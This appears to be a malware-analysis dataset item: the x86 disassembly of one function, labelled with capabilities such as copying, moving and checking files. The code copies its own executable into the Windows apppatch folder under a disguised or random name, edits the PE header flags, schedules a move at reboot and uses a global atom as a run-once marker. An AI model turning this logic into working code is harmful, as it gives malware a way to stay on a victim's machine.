Function at 0x402950
Capabilities:
Access pe header
Check if file exists
Copy file
Move file
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x33c
push ebx
xor eax, eax
push esi
push edi
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
push 0x1c
lea eax, [esp + 0x18]
push eax
xor ebx, ebx
push 0x401c30
mov dword [esp + 0x20], ebx
call dword [sym.imp.kernel32.dll_VirtualQuery]
mov edx, dword [esp + 0x18]
push 0x104
lea ecx, [esp + 0x13c]
push ecx
push edx
call dword [sym.imp.kernel32.dll_GetModuleFileNameA]
xor eax, eax
jmp 0x4029b0
mov cl, byte [eax + 0x457130]
mov byte [esp + eax + 0x30], cl
inc eax
cmp cl, bl
jne 0x4029b0
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.shlwapi.dll_PathFileExistsA]
test eax, eax
jne 0x402ad9
push 0x104
lea ecx, [esp + 0x34]
push ecx
call dword [sym.imp.kernel32.dll_GetSystemWindowsDirectoryA]
lea eax, [esp + 0x30]
dec eax
mov cl, byte [eax + 1]
inc eax
cmp cl, bl
jne 0x4029e7
mov edx, dword [str._apppatch_]
mov ecx, dword [0x404e90]
mov dword [eax], edx
mov dx, word [0x404e94]
mov dword [eax + 4], ecx
mov cl, byte [0x404e96]
mov word [eax + 8], dx
push 0x404550
mov byte [eax + 0xa], cl
mov dword [esp + 0x14], ebx
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
cmp eax, ebx
je 0x402a47
push 0x404560
push eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
mov esi, eax
cmp esi, ebx
je 0x402a47
lea edx, [esp + 0x10]
push edx
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call esi
cmp dword [esp + 0x10], ebx
je 0x402a76
lea eax, [esp + 0x30]
dec eax
mov cl, byte [eax + 1]
inc eax
cmp cl, bl
jne 0x402a52
mov ecx, dword [str.svchost.exe]
mov edx, dword [0x404e9c]
mov dword [eax], ecx
mov ecx, dword [0x404ea0]
mov dword [eax + 4], edx
mov dword [eax + 8], ecx
jmp 0x402ad9
call dword [sym.imp.kernel32.dll_GetTickCount]
push eax
call fcn.004012a0
and eax, 1
add eax, 6
push eax
call fcn.00401330
mov edx, eax
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x402a90
lea edi, [esp + 0x30]
sub eax, edx
dec edi
mov edi, edi
mov cl, byte [edi + 1]
inc edi
cmp cl, bl
jne 0x402aa0
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x30]
rep movsb byte es:[edi], byte [esi]
dec eax
lea ecx, [ecx]
mov cl, byte [eax + 1]
inc eax
cmp cl, bl
jne 0x402ac0
mov edx, dword [str..dat]
mov cl, byte [0x404ea8]
mov dword [eax], edx
mov byte [eax + 4], cl
lea edx, [esp + 0x30]
push edx
push 0x404eac
lea eax, [esp + 0x248]
push 0x104
push eax
call dword [sym.imp.msvcrt.dll__snprintf]
add esp, 0x10
push 1
lea ecx, [esp + 0x34]
push ecx
lea edx, [esp + 0x140]
push edx
call dword [sym.imp.kernel32.dll_CopyFileA]
test eax, eax
je 0x402c06
lea esi, [esp + 0x30]
call fcn.00402810
mov eax, esi
push eax
call fcn.00401a30
lea ecx, [esp + 0x10]
push ecx
mov eax, esi
call fcn.004010a0
mov esi, eax
cmp esi, ebx
je 0x402b7d
push esi
call dword [sym.imp.ntdll.dll_RtlImageNtHeader]
cmp eax, ebx
je 0x402b5d
mov edx, 0xdfff
and word [eax + 0x16], dx
mov ebx, dword [esp + 0x10]
push esi
lea eax, [esp + 0x34]
call section..text
xor ebx, ebx
mov edi, dword [sym.imp.kernel32.dll_GetProcessHeap]
push esi
push ebx
call edi
push eax
call dword [sym.imp.kernel32.dll_HeapValidate]
test eax, eax
je 0x402b7d
push esi
push ebx
call edi
push eax
call dword [sym.imp.kernel32.dll_HeapFree]
lea eax, [esp + 0x30]
push eax
call fcn.00401b60
push 4
lea ecx, [esp + 0x34]
push ecx
lea edx, [esp + 0x248]
push edx
call dword [sym.imp.kernel32.dll_MoveFileExA]
push 0x404550
mov dword [esp + 0x14], ebx
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
cmp eax, ebx
je 0x402bcf
push 0x404560
push eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
mov esi, eax
cmp esi, ebx
je 0x402bcf
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call esi
cmp dword [esp + 0x10], ebx
je 0x402bdf
lea ecx, [esp + 0x30]
push ecx
call fcn.004013c0
push str.Fri_Jun_17_05:52:09_20111
call dword [sym.imp.kernel32.dll_GlobalFindAtomA]
test ax, ax
je 0x402bfb
call fcn.004011c0
push ebx
call dword [sym.imp.kernel32.dll_ExitProcess]
push str.Fri_Jun_17_05:52:09_20111
call dword [sym.imp.kernel32.dll_GlobalAddAtomA]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret